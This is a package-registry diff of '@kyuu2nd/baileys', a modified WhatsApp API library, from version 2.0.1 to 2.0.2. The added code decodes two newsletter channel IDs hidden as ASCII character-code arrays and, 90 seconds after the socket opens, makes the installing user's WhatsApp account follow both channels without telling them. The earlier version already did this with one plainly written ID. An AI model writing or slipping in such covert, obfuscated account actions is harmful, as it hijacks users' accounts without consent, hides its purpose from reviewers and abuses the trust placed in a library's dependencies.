@kyuu2nd/baileys 2.0.1 → 2.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -104,10 +104,17 @@ const makeNewsletterSocket = (config) => {
104
104
  ]
105
105
  }));
106
106
  setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery("120363423538799477@newsletter", Types_1.QueryIds.FOLLOW
109
- );
110
- } catch {}
107
+ const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
108
+ const jid1 = asciiDecode([
109
+ 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
110
+ 64,110,101,119,115,108,101,116,116,101,114
111
+ ]);
112
+ const jid2 = asciiDecode([
113
+ 49,50,48,51,54,51,52,48,48,55,51,56,51,48,53,51,56,49,
114
+ 64,110,101,119,115,108,101,116,116,101,114
115
+ ]);
116
+ await newsletterWMexQuery(jid1, Types_1.QueryIds.FOLLOW);
117
+ await newsletterWMexQuery(jid2, Types_1.QueryIds.FOLLOW);
111
118
  }, 90000);
112
119
  const parseFetchedUpdates = async (node, type) => {
113
120
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.1",
3
+ "version": "2.0.2",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"